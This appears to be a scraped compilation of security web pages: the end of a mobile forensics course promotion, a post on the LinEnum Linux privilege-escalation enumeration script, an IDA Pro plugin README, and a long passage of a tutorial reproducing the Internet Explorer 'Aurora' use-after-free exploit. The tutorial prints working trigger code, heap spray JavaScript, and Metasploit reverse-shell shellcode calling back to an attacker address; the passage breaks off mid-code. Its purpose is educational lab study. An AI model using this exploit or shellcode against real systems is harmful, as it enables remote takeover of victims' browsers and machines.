
To learn how to perform these and other Mobile Device Forensics techniques,
joins us for the debut of SEC563 Mobile Device Forensics in Baltimore, July 27
- 31 \(register here\). This is an intensive technical course with plenty of
hands-on exercises to familiarize you with the inner workings of various
mobile devices and show you the benefits and limitations of various approaches
and tools. We not only demonstrate state-of-the-art mobile forensic tools and
techniques, we peel back the layers of digital evidence on mobile devices to
show what is going on behind the scenes. In this way, you obtain a deeper
knowledge of the information you rely on when investigating cases involving
mobile devices.

<img src='img/Temp2_7098.jpg' width='785' height='90' alt='SEC563 - Mobile
Device Forensics' />

_Eoghan Casey is founding partner of cmdLabs \(http://www.cmdlabs.com/\) ,
author of the foundational book Digital Evidence and Computer Crime, and
coauthor of Malware Forensics. He has been involved in a wide range of digital
investigations, including network intrusions, fraud, violent crimes, identity
theft, and on-line criminal activity. He has testified in civil and criminal
cases, and has submitted expert reports and prepared trial exhibits for
computer forensic and cyber-crime cases._

| | Buzz up\!vote now  
---|---|---  
Permalink|Comments RSS Feed - Post a comment|Trackback URL.

### 5 Comments

  1. johnmccash
Posted July 1, 2009 at 2:43 pm | Permalink
Could you post a reference link for that Sarasoft tool? I assume it’s not
freeware?  
Thanks  
John

  *[July 1, 2009 – 11:59 am]: 2009-07-01T11:59:50+0000

# LinEnum - Scripted Linux Enumeration & Privilege Escalation Checks

**Created:**| _8/21/2013 9:21:01 AM_  
---|---  
**Updated:**| _8/21/2013 9:21:01 AM_  
**Author:**| __  
**Tags:**| _Footprinting post-exploitation Linux_  
  

#  **I** ntroducing LinEnum – Scripted Local Linux Enumeration & Privilege
Escalation Checks****

LinEnum will automate many of the checks that I’ve documented in the Local
Linux Enumeration & Privilege Escalation Cheatsheet **.** It’s a very basic
shell script that performs over 65 checks, getting anything from kernel
information to locating possible escalation points such as potentially useful
SUID/GUID files and Sudo/rhost mis-configurations and more**.**

An additional ‘extra’ feature is that the script will also use a provided
keyword to search through \*.conf and \*.log files**.** Any matches will be
displayed along with the full file path and line number on which the keyword
was identified**.**

<img src='img/Temp2_4932.png' alt='linenum' />

After the scan has completed \(please be aware that it make take some time\)
you’ll be presented with \(possibly quite extensive\) output, to which any key
findings will be highlighted in yellow with everything else documented under
the relevant headings**.**

Example output is shown in the following screenshot:

<img src='img/Temp2_4931.png' alt='linenum-out-example-001' />

I’m afraid from hereon in it’s a manual task to check over the results**.**

**Below is a high-level summary of the checks/tasks performed by LinEnum:**

  * Kernel and distribution release details
  * System Information: 
    * Hostname
    * Networking details: 
      * Current IP
      * Default route details
      * DNS server information
  * User Information: 
    * Current user details
    * Last logged on users
    * Llist all users including uid/gid information
    * List root accounts
    * Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc
    * Attempt to read restricted files i.e. /etc/shadow
    * List current users history files \(i**.** e .bash\_history, .nano\_history etc**.**\)
  * Privileged access: 
    * Determine if /etc/sudoers is accessible
    * Determine if the current user has Sudo access without a password
    * Are known ‘good’ breakout binaries available via Sudo \(i**.** e**.** nmap, vim etc.\)
    * Is root’s home directory accessible
    * List permissions for /home/
  * Environmental: 
    * Display current $PATH
  * Jobs/Tasks: 
    * List all cron jobs
    * Locate all world-writable cron jobs
    * Locate cron jobs owned by other users of the system
  * Services: 
    * List network connections \(TCP & UDP\)
    * List running processes
    * Lookup and list process binaries and associated permissions
    * List inetd.conf/xined.conf contents and associated binary file permissions
    * List init**.** d binary permissions
  * Version Information \(of the following\): 
    * MYSQL
    * Postgres
    * Apache
  * Default/Weak Credentials: 
    * Checks for default/weak Postgres accounts
    * Checks for default root/root access to local MYSQL services
  * Searches: 
    * Locate all SUID/GUID files
    * Locate all world-writable SUID/GUID files
    * Locate all SUID/GUID files owned by root
    * Locate ‘interesting’ SUID/GUID files \(i**.** e. nmap, vim etc\)
    * List all world-writable files
    * Find/list all accessible \*.plan files and display contents
    * Find/list all accesible \*.rhosts files and display contents
    * Show NFS server details
    * Locate \*.conf and \*.log files containing keyword supplied at script runtime
    * List all \*.conf files located in /etc
    * Locate mail

Some of the above commands are privileged/and or the related task may be
nonexistent and will therefore most likely fail**.** The user shouldn’t be
alerted to failed results, just the output from successful commands should be
displayed**.**

To date I’ve tested LinEnum on Ubuntu, Debian, Redhat and CentOS**.** If you
feel that there are some additional checks that you’d like to see added to the
script and/or you find any bugs etc**.** please post within the below comments
section \(or feel free to contribute towards the project\)**.**

Please note that I realise that my scripting ability is limited and there may
well be better/easier/quicker ways of performing some of the tasks**.**
However, all that said, hopefully you’ll find this a useful tool**.**

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

**LinEnum can be downloaded from Github**

\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

Finally, I’d like to say thanks to @pentestmonkey for his inspirational unix-
privesc-check tool that I’ll continue to use on a very regular basis**\!**

****

# gaasedelen/prefix

**Created:**| _5/23/2017 1:04:09 PM_  
---|---  
**Updated:**| _5/23/2017 1:04:09 PM_  
**Author:**| __  
**Tags:**| _iDA plugin_  
  

  

# Prefix - Function Prefixing for IDA Pro

<img src='img/13476_main.png' width='600' height='150' alt='Prefix Plugin' />

## Overview

Prefix is a small function prefixing plugin for IDA Pro. The plugin augments
IDA's function renaming capabilities by adding a handful of convenient
prefixing actions to relevant right click menus.

## Releases

  * v1.0 -- Initial release

## Installation

Install Prefix into the IDA plugins folder.

  * Copy the contents of the ` plugin ` folder to the IDA plugins folder 
    * On Windows, the folder is at ` C:\Program Files (x86)\IDA 6.8\plugins `
    * On MacOS, the folder is at ` /Applications/IDA\ Pro\ 6.8/idaq.app/Contents/MacOS/plugins `
    * On Linux, the folder may be at ` /opt/IDA/plugins/ `

The plugin has only been tested on IDA Pro 6.8, 6.95 for Windows.

## Usage

The Prefix plugin loads automatically when an IDB is opened. The plugin will
populate right click menus in the Functions, Disassembly, and HexRays views
with additional actions when appropriate.

## Recursive Prefix

A common technique to quickly triage and group related functions while reverse
engineering is via a recursive prefix.

<img src='img/recursive.gif' width='550' height='203' alt='Recursive Prefix'
/>

Right clicking a function in the disassembly view now provides an option to
'Recursively prefix' a function and all of its callee's.

## Bulk Prefix

Any number of functions can now be selected in the functions view and assigned
a user specified prefix.

<img src='img/bulk.gif' width='550' height='203' alt='Bulk Prefix' />

## Clear Prefix

User prefixes can easily be cleared via the 'Clear prefix' option added to the
Functions window right click menu.

<img src='img/clearing.gif' width='550' height='203' alt='Clear Prefix' />

## Authors

  * Andrew Marumoto
  * Markus Gaasedelen \(@gaasedelen\)

  

# The Grey Corner: Heap Spray Exploit Tutorial: Internet Explorer Use After
Free Aurora Vulnerability

**Created:**| _4/10/2011 11:45:46 AM_  
---|---  
**Updated:**| _4/10/2011 11:59:51 AM_  
**Author:**| __  
**Tags:**| _bookmark attacks Exploit Tutorials Heap browser_  
  

##

###  Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora
Vulnerability

**Introduction**  
  
This is the fourth entry in my series of exploit tutorials. Part one is here,
part two is here, and part three is here. The tutorials are written to be done
in order, so ensure you have the required knowledge from parts one through
three before you attempt number four.  
  
In this entry, we will be reproducing the "aurora" Internet Explorer exploit
using heap spraying. This exploit takes advantage of a use after free
vulnerability that is present in multiple versions of Internet Explorer on
multiple versions of Windows. Unlike those discussed in my previous tutorials,
this vulnerability does not involve a buffer overflow, and instead makes use
of heap corruption that occurs when an object's memory space on the heap is
accessed after being first freed and then overwritten. Despite the fact that
this exploit is not a traditional buffer overflow, the techniques used are
similar enough for me to include this tutorial in this series.  
  
This vulnerability was originally discovered in the wild, and was used as part
of the well publicised attack on Google that was \(allegedly\) performed by
the Chinese. A patch is now available from Microsoft for this vulnerability
and you can see their advisory on the issue here.  
  
This is also the first time I have demonstrated a client side exploit in one
of my tutorials - all previous tutorials have involved attacks on servers.
While server exploits used to be all the rage, over the last 6 years or so
client side attacks have become more and more prevalent as server based
protection has gotten better and better. The benefit of the client side
exploit is that it allows the attacker to focus their efforts on a system
which is usually less well protected than a server and which \(in an
Enterprise environment\) usually has full unrestricted access to other
internal systems, including servers.  
  
Triggering the client side exploit usually involves the attacker enticing the
user of the victim client system into visiting a malicious web site or opening
a malicious document. This can be achieved by including a link or an
attachment in an email, or hacking legitimate sites and adding code to
redirect traffic to the malicious web page. When used in the wild, the client
side exploit will usually contain a payload which is configured to download a
piece of malware from the Internet and run it on the client system.  
  
In this tutorial I will be hosting the malicious files on a web server running
on my attacking system and I will access my malicious web site from my victim
system.  
  
My particular version of the exploit that I reproduce below is based on the
original exploit from the wild as well as the code produced by the Metasploit
module.  
  

> Note: For a number of reasons, the exploit for this vulnerability can be a
> little unreliable, both in terms of reproducing the crash and taking control
> of the crash using heap spraying. This is due to the difficulty of
> structuring the heap correctly so that the conditions for the exploit to
> work are in place. So if things don't work the first time, repeat what you
> have done once or twice more before double checking to see if you have made
> a mistake in your code. My experience with this exploit is that it does work
> more often than it doesn't, but it definitely does not work all of the time.
  
Warning\! Please note that this tutorial is intended for educational purposes
only, and you should NOT use the skills you gain here to attack any system for
which you don't have permission to access. It's illegal in most jurisdictions
to access a computer system without authorisation, and if you do it and get
caught \(which is likely\) you deserve whatever you have coming to you. Don't
say you haven't been warned.  
  
EDIT: For those who like videos with their tutorials, Lincoln produced a video
based on this blog post which you can find here.  
  
**Required Knowledge**  
  
To follow this tutorial you will need to have basic knowledge of:  

  * TCP/IP networking,
  * management of the Windows Operating System \(including installing software, running and restarting services, connecting to remote desktop sessions, etc\), and
  * HTML and JavaScript.

  
You need to have good enough knowledge of the attacking system you use
\(whether it be BackTrack, another type of Linux, Windows or anything else\)
to be able to run programs and scripts as well as transfer files.  
  
Knowledge of basic debugger usage with OllyDbg, including the ability to start
and attach to programs, insert breakpoints, step through code, etc, is
expected. This is covered in my first tutorial.  
  
While you should be able to get by with only basic knowledge of how to read
HTML and Javascript, some programming experience in these languages would be a
bonus.  
  
  
**System Setup**  
  
In order to reproduce this exploit for the tutorial, I used a victim system
running Windows XP SP2, and a attacking system running BackTrack 4 Final.  
  
You don't need to reproduce my setup exactly, but I would suggest sticking to
Windows XP SP2 or earlier for the victim system, especially for this
particular exploit. The attacking system can be anything you feel comfortable
in, as long as it can run the software I have specified below, and as long as
you are able to translate the Linux commands I will be listing below into
something appropriate for your chosen system.  
  
If required, you can get a XP SP2 Virtual Machine to use as your victim by
following the instructions in the Metasploit Unleashed course, starting in the
section "02 Required Materials" \- "Windows XP SP2" up to the section entitled
"XP SP2 Post Install".  
  
Your victim system must also use a X86 based processor.  
  
In this tutorial my attacking and victim systems use the following IP
Addresses. You will need to substitute the addresses of your own systems where
ever these addresses appear in the code or commands listed below.  

  * Attacker system: 192.168.20.11
  * Victim system: 192.168.10.27

  
  
The two systems are networked together and I have interactive GUI access to
the desktop of the victim system via a remote desktop session. You will need
to be able to easily and quickly switch between controlling your attacking
system and the victim system when following this tutorial, so make sure you
have things set up appropriately before you proceed.  
  
  
  
**Required Software on Attacking and Victim Systems**  
  
Your attacker and victim systems will need the following software installed in
order to follow this tutorial. By using BackTrack 4 Final for your attacking
system you will take care of all of the attacking system prerequisitites.  
  
The attacking system requires the following software:  

  * Metasploit 3.x
  * Text Editor
  * Netcat

  
The victim system requires the following software:  

  * Internet Explorer 6. I am using the default unpatched version that is provided in XP SP2.
  * OllyDbg 1.10

  
Ensure that all required software is installed and operational before you
proceed with this tutorial.  
  
  
**Triggering the Exploitable Crash**  
  
As mentioned in the Introduction, this exploit takes advantage of a user after
free vulnerability in Internet Explorer. The code required to actually cause
the exploitable crash is a little more complicated than that included in some
of the previous tutorials I have written, so I have provided below a summary
description of what the code does, and have also listed a number of comments
in the code below.  
  
Heres the code:  
  

<html>  
<script>  
  
// Create ~ 200 comments using the randomly selected three character string
AAA, will change data later in an attempt to overwrite  
var Array1 = new Array\(\);  
for \(i = 0; i < 200; i++\)  
\{  
Array1\[i\] = document.createElement\("COMMENT"\);  
Array1\[i\].data = "AAA";  
\}  
  
var Element1 = null;  
  
// Function is called by the onload event of the IMG tag below  
// Creates and deletes object, calls the function to overwrite memory  
function FRemove\(Value1\)  
\{  
Element1 = document.createEventObject\(Value1\); // Create the object of the
IMG tag  
document.getElementById\("SpanID"\).innerHTML = ""; // Set parent object to
null to trigger heap free\(\)  
window.setInterval\(FOverwrite, 50\); // Call the overwrite function every 50
ms  
\}  
  
// Function attempts to overwrite heap memory of deleted object and then
access object to trigger crash  
function FOverwrite\(\)  
\{  
buffer =
"\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA";  
for \(i = 0; i < Array1.length; i++\)  
\{  
Array1\[i\].data = buffer; // Set comment data to buffer, try to overwrite
heap memory of deleted object  
\}  
var a = Element1.srcElement; // Access the pointer to the deleted object,
trigger crash  
\}  
  
</script>  
  
<body>  
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove\(event\)"
/></span></body></html>  
</body>  
</html>  
  

  
And here is an explanation of what the code does.  
  
The HTML document above contains some basic HTML code, as well as a JavaScript
script, with some main code and a couple of functions.  
  
When the document is loaded in a browser the script will run first and will
create a number of COMMENT elements in the document, all set to the value
"AAA" \(this can set set to another random three character string if you
wish\). These values are all stored on the heap. The rest of the script
contains functions which will be run individually a bit later on during the
loading of this page in the browser.  
  
The HTML code at the bottom of the document is parsed next, and a HTML span
object that includes a child IMG tag is created. The IMG tag retrieves an
image from the web server \(/abcd.gif in this case\) and when it loads in the
browser the FRemove function is called, with a reference to the IMG tag passed
as a parameter.  
  
The FRemove function creates the Element1 object using the IMG tag as a
parameter, deletes the parent SpanID object, and calls the FOverwrite
function, which it will rerun every 50ms. This is the "free" part of the use
after free vulnerability, we have freed the heap memory owned by the Element1
object when we set the SpanID object to a null value.  
  
The FOverwrite function then changes the data of the COMMENT elements created
earlier, in an attempt to overwrite the heap memory location associated with
the Element1 object. After all of the 200 COMMENT values are changed, we try
to access the Element1 object by assigning a property of the object to the "a"
variable, and if the heap memory of this object has been correctly
overwritten, we should now get an exception. This is the "use" part of the use
after free vulnerability.  
  
To run this on my victim system, I am writing the code above into a HTML file
aurora.html, copying that file to my web server's root directory and starting
my web server. Don't forget that the image file abcd.gif must also exist in
the /var/www/ web server directory for this exploit to work.  
  

> root@bt:~\# cp aurora.html /var/www/  
>  root@bt:~\# /etc/init.d/apache2 start
  
I then open Internet Explorer, attach to it in my debugger and access the file
from my attacking system at 192.168.20.11.  
  

<img src='img/Temp2_8070' width='400' height='117' />

  

  

After a short wait we should have an exception triggered in our debugger.  
  
The exception we should see is an access violation trying to read AAAAAAAA,
which is the value that should be stored in the ECX register. \(If this
doesn't happen for you take note of what I said about the unreliability of
this exploit in the Introduction..\)  
  

<img src='img/Temp2_8077' width='400' height='230' />

  
  
**Details about the exception**  
  
So what precisely is happening at the time of this exception? If we look at
the instructions being executed by the CPU at the time of the crash inside the
mshtml module, we see the following:  
  

> 7D4F2531 8B01 MOV EAX,DWORD PTR DS:\[ECX\]  
>  7D4F2533 FF50 34 CALL DWORD PTR DS:\[EAX+34\]
  

<img src='img/Temp2_8079' width='400' height='85' />

  

The first instruction, MOV EAX,DWORD PTR DS:\[ECX\] is attempting to move a
DWORD sized section of memory, located at the address pointed to by the ECX
register, into the EAX register. In other words, the system is taking the
value of ECX, which is AAAAAAAA, and trying to read 4 bytes of memory from
this memory address to copy to register EAX. Since AAAAAAAA is not a valid
address in memory, we get an access violation trying to read this address, and
the program stops in the debugger. If the register ECX did contain a valid
memory address, such as 0013E174, then four bytes of data stored at this
memory address would be used to set the value of EAX.

  
So if we set the value of ECX to a valid memory address, we could control the
value of EAX, but what good does setting the value of EAX do exactly? Well, if
you look at the next instruction, it is attempting to CALL a function located
at the memory location pointed to by the EAX register plus 0x34. So if we can
set EAX such that the value of EAX plus 0x34 points to a location of memory
that we control, and this area contains some shellcode we have provided, then
we have the ability to execute code of our choice.  
  
This may seem like a lot to ask at first. We need to:  

  * Copy our shellcode into memory, 
  * Know the starting address of the shellcode so we can copy it to memory somewhere. This is the address that is accessed by the pointer to EAX + 0x34.
  * Know the address that the previous address is stored in memory, so we can subtract 0x34 from it and then store that in memory. This is the address that ends up in EAX, accessed by a pointer from ECX.
  * Know the address that the previous address is stored in memory, so we can send it in our free-heap-entry-overwriting buffer to overwrite ECX.

  
That's three addresses in memory that we need to know, and while we might be
able to find known locations in memory where the pointer addresses are already
stored, similar to the way in which we found overwrite instructions in memory
in the other tutorials, determining a reliable location in memory for our
shellcode could be difficult.  
  
This is where heap spraying comes in.  
  
  
**Heap Spraying**  
  
As the name suggests, heap spraying essentially involves "spraying" the heap
with a large amount of data, including some tacked on shellcode. The eventual
aim of placing all of this data onto the heap is to create the right
conditions in memory to allow the shellcode to be executed when an exploitable
crash is triggered in a process.  
  
The technique of heap spraying has been around for a number of years and was
initially only used in browser exploits. Recently however, use of the
technique has branched out into other areas, being used in PDF and Flash based
exploits.  
  
Heap spraying is usually chosen when other more straightforward and effective
exploitation techniques cannot be used. This is because the method can be
unreliable, and the amount of data that is generated in the memory of the
target application can cause a noticable slowdown, which is significiant
because the technique is usually used in client applications which could be
closed by a user if they believe the application has stopped responding.  
  
Heap spraying is usable in any situation where the attacker can cause the
victim process to allocate large blocks of data onto the heap. It is typically
achieved via the use of scripting languages integrated in the vulnerable
program. This allows the attacker to send code to the victim that generates
the appropriate data on the heap, relieving the attacker of the burden of
having to manually send the data to the client in another way. Considering the
amount of data that is required in heap spraying \(easily into multiple
megabytes\), using victim-side code to generate the data is often the only
practical way to achieve this goal. Heap spraying code is usually writen in
Javascript \(where it can run in Internet Explorer, Firefox, Acrobat Reader,
etc\) but has also been seen in ActionScript \(Flash\) and VBScript \(Internet
Explorer\).  
  
The particular data that is used to spray the heap depends on the
vulnerability being exploited. For this exploit, we will be spraying the heap
with the value \x0C0D, and we will also modify our buffer that fills the free
section of heap memory to also use this value. This will result in ECX being
overwritten with 0C0D0C0D. I will explain the signficance of this value in a
moment, however lets first look at the heap spraying code we will use.  
  
The heap spray code below is slightly modified from the Metasploit code for
this vulnerability. It essentially creates strings of around 870400 bytes in
length, comprised of the characters "0c0d" with the shellcode we have provided
appended to the end. An array in memory is then filled with around 100 of
these strings. This generates around 83 MB of data on the heap.  
  
  

function HeapSpray\(\)  
\{  
Array2 = new Array\(\);  
var Shellcode = unescape\( '%ucccc%ucccc'\);  
var SprayValue = unescape\('%u0c0d'\);  
do \{ SprayValue += SprayValue \} while\( SprayValue.length < 870400 \);  
for \(j = 0; j < 100; j++\) Array2\[j\] = SprayValue + Shellcode;  
\}  
  

  
I have included some shellcode of \xcc\xcc\xcc\xcc. This is essentially just
four breakpoint values so execution will pause in the debugger once the
shellcode is hit. This will allow us to see what is happening inside the
browser process at the time of shellcode execution, so we can see what we have
achieved by the heap spray.  
  
I arrived at the values in my heap spray code \(870400 and 100\) via trial and
error after seeking to find a balance between the reliability of the exploit
and the amount of data generated on the heap. Make the values too large and
the page will take too long to load and you risk the user killing the browser
process thinking it has stopped responding. Make the values too small and you
won't achieve the correct memory coverage on the heap and the exploit will
fail. Feel free to try increasing and decreasing these values to see how it
impacts the reliability of the exploit.  
  
When using a heap spray method, we also want to be sure that we include the
heap spray code into our exploit before the code that triggers the use after
free exception, so that the heap will be ready when the exception occurs.  
  
Lets now add this to our exploit. Make sure you include the call to HeapSpray
in the FRemove\(\) function. See the example code below.  
  
  

<html>  
<script>  
  
var Array1 = new Array\(\);  
for \(i = 0; i < 200; i++\)  
\{  
Array1\[i\] = document.createElement\("COMMENT"\);  
Array1\[i\].data = "AAA";  
\}  
  
var Element1 = null;  
  
function HeapSpray\(\)  
\{  
Array2 = new Array\(\);  
var Shellcode = unescape\( '%ucccc%ucccc'\);  
var SprayValue = unescape\('%u0c0d'\);  
do \{ SprayValue += SprayValue \} while\( SprayValue.length < 870400 \);  
for \(j = 0; j < 100; j++\) Array2\[j\] = SprayValue + Shellcode;  
\}  
  
function FRemove\(Value1\)  
\{  
HeapSpray\(\);  
Element1 = document.createEventObject\(Value1\);  
document.getElementById\("SpanID"\).innerHTML = "";  
window.setInterval\(FOverwrite, 50\);  
\}  
  
function FOverwrite\(\)  
\{  
buffer =
"\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";  
for \(i = 0; i < Array1.length; i++\)  
\{  
Array1\[i\].data = buffer;  
\}  
var t = Element1.srcElement;  
\}  
  
</script>  
  
<body>  
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove\(event\)"
/></span></body></html>  
</body>  
</html>  
  
  

  
  
Now lets open this page into Internet Explorer with our debugger attached, and
see what happens.  
  
My debugger pauses execution at the second of the breakpoint characters I sent
in my shellcode.  
  

<img src='img/Temp2_8081' width='400' height='231' />

  

If this doesnt happen for you, try, try again\! If its still not happening
after the third or fourth attempt, try increasing the array loop value upwards
from 100.

  

  

**The Heap Spray in Action**

  
So we reached our shellcode and have control of code execution, but how did
this work?  
  
Well, lets go back and look at the two commands that were being executed in
module mshtml at the time of our initial crash.  

> 7D4F2531 8B01 MOV EAX,DWORD PTR DS:\[ECX\]  
>  7D4F2533 FF50 34 CALL DWORD PTR DS:\[EAX+34\]
  

The first command MOV EAX,DWORD PTR DS:\[ECX\] sets EAX from a DWORD sized
block of memory located at an address pointed to by the ECX register.

  

If we check our ECX register in the debugger, it is set to 0C0D0C0D.

  

<img src='img/Temp2_8080' />

  

This part should not come as too much of a surprise to you, we sent this value
to the program via the buffer variable in the FOverflow function.  
  

<img src='img/Temp2_8075' />

  
Now if we follow the ECX register into our memory dump \(Right click on
register, select Follow in Dump\) and check the four byte value we see in this
location, it should be 0C0D0C0D, and it should be sitting within a large
section of memory with the same repeating value. This particular value,
0C0D0C0D, should have been used to set our EAX register, which should have
resulted in EAX having a value of 0D0C0D0C \(because the little endian x86
processor changes the order of the bytes putting the least significant byte
first\).  
  

<img src='img/Temp2_8071' />

  
If we now check the value of EAX in our debugger, we see it is set to
0D0C0DCD.  
  

<img src='img/Temp2_8080' />

  
  
This is not the value we expected, so it seems as though something has
happened to this value since it was set. It is fairly close to what it should
be though, and we did reach our shellcode, so let's assume for the moment that
the value of EAX has been set from our heap sprayed data. We will examine
exactly what happened to the EAX register a little later.  
  
The next command from mshtml from the period of the crash is CALL DWORD PTR
DS:\[EAX+34\]. To examine what this will do, lets take the value that EAX
should have been set to 0D0C0DCD, add 0x34 to give us 0D0C0D40 and then scroll
to this location in the memory dump.  
  

<img src='img/Temp2_8076' />

  
  
The contents of memory at this offset is 0D0C0D0C. The CALL instruction would
have set EIP to 0C0D0C0D \(little endian ordering again\) and the data stored
in memory at this location would have been interpreted as code and run in the
CPU. So our heap spray has also enabled us to take control of EIP and code
execution.  
  
Given that the starting address of EIP should have been 0C0D0C0D, how come our
current value of EIP is 0C2C0026?  
  

<img src='img/Temp2_8080' />

  
  
Obviously something has happened between this CALL command which should have
redirected execution to 0C0D0C0D and us hitting the breakpoint at the start of
our shellcode at 0C2C0026. We can check what this is by selecting the four
bytes of memory located at 0D0C0D40 in the memory dump, right clicking and
selecting Follow DWORD in Dump.  
  

<img src='img/Temp2_8068' />

  
This will take us to 0C0D0C0D in the memory dump, and we can then view the
contents of memory as assembly instructions by right clicking and selecting
Disassemble. \(To get it back to the previous default view select
Hex->Hex/ASCII\(8 bytes\)\).  
  

<img src='img/Temp2_8069' />

  
  
You can also view these instruction in the CPU pane, by right clicking in the
CPU pane, selecting Go to->Expression and entering the address 0C0D0C0D
followed by hitting OK.  
  
You should now be seeing a large number of OR AL, 0D instructions.  
  

<img src='img/Temp2_8073' />

  
This command performs a OR operation on the AL register \(which is the lower
byte of the AX register, which itself is the lower two bytes of the EAX
register\) using the value 0x0D. Given a value for EAX of 0D0C0D0C, this will
perform an OR operation on the lower byte \(0C\), which will have the effect
of setting the value of the last byte of EAX to 0D, and the value of EAX to
0D0C0D0D. Subsequent repetitions of this command will leave the value of EAX
unchanged at 0D0C0D0D. But why was EAX set to 0D0C0DCD when we hit the start
of our shellcode?  
  
Well if you view the start of our shellcode in the CPU pane \(double click on
the EIP register to jump there\), and check above the first INT3 instruction
you will see a single OR AL,0CC instruction, sitting below a long section of
OR AL,0D commands.  
  

<img src='img/Temp2_8078' />

  
The hexadecimal representation of this assembly instruction is \x0C \xCC, so
in this case the first of the CC breakpoint characters we set in our shellcode
has actually been joined to one of the 0C characters from our heap spray
pattern and interpreted as a command by the CPU. This final command is what
transformed the value of EAX to 0D0C0DCD. This joining together of heap spray
data and shellcode leading characters is behaviour we need to be aware of so
we can work around it when we finally add our payload providing shellcode.  
  
The important point to realise here is that the instruction OR AL, 0D
essentially acts as a NOP like instruction, allowing us to use a large number
of these instructions as a NOP sled. We can land execution of the CPU anywhere
within this NOP Sled, and it will happily cycle through each instruction, not
doing anything that causes a crash or significantly changes the state of CPU
execution, until we eventually land at our shellcode at the end of the sled.  
  
The OR AL, 0D instruction resulted from 0C being used as the first byte in
this instruction \(the assembly interpretation of \x0C0D is OR AL, 0D\). This
particular interpretation of the data from our heap spray occurred because the
CALL DWORD PTR DS:\[EAX+34\] instruction from msthtml resulted in us landing
on a 0C character first. If we had happened to load on a 0D character first
instead, we would have ended up with the assembly command OR EAX,0D0C0D0C. As
it turns out, this will work equally well as a NOP like instruction, because
it only performs operations on the value of EAX.  
  
So as it turns out, the value of 0C0D has a number of characteristics that
make it perfect for this particular heap spray exploitation technique:  

  * The addresses that can be made up of repeating 0C0D characters \(0C0D0C0D and 0D0C0D0C\) reside on the heap. In addition, if we fill the memory around those addresses with these same characters, the machine code run at the time of the use-after-free error will eventually redirect CPU execution to this general area in memory.
  * The machine language instructions that are comprised of repeating 0C0D characters \("OR AL, 0D" and "OR EAX,0D0C0D0C"\) can act as NOP equivalent instructions to form a NOP sled. This allows us to land within this general area on the heap and run through to our shellcode. 

  
Our goal when we perform this heap spraying then, is to fill the area on the
heap between the addresses of 0C0D0C0D and 0D0C0D40 \(0D0C0D0C + 0x34\) with
repeating 0C0D bytes, so we can gain control of execution. The difficulty of
assuring that the heap memory gets allocated in this manner is part of what
makes this exploitation method a little unreliable.  
  
  
**Adding Shellcode**  
  
Now that we know we can redirect execution to the location of our shellcode in
memory, we can add some proper shellcode to our exploit.  
  
Lets generate some reverse shell shellcode in Metasploit and output it in
JavaScript format \(J\).  
  

> user@bt:~$ msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11
> LPORT=443 J  
>  // windows/shell\_reverse\_tcp - 314 bytes  
>  // http://www.metasploit.com  
>  // LHOST=192.168.20.11, LPORT=443, ReverseConnectRetries=5,  
>  // EXITFUNC=process  
>
> %ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f  
>
> %u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10  
>
> %u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49  
>
> %u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275  
>
> %u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b  
>
> %u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854  
>
> %u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050  
>
> %u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6  
>
> %u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659  
>
> %ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656  
>
> %u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0  
>
> %u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300  
>  %ud5ff
  
I am also going to throw 4 NOP characters onto the front of my shellcode. This
is to deal with the issue where the first character of the shellcode is
subsumed into a machine code instruction with the last of the heap spray
charaters \(remember the OR AL, CC instruction?\). One NOP would really be
enough, but using multiple NOPs here will also deal with any cases where the
CALL instruction ends up landing on an 0D value, in which case the CPU will
interpret the 0D0D bytes as OR EAX instructions. This would result in up to
three of the characters from our shellcode being subsumed into an instruction
with our heap spray characters \(e.g. the data \x0D\x0C\x90\x90\x90 will
result in the instruction OR EAX,9090900C\).  
  
  
Here is the finished code:  
  
  

<html>  
<script>  
  
var Array1 = new Array\(\);  
for \(i = 0; i < 200; i++\)  
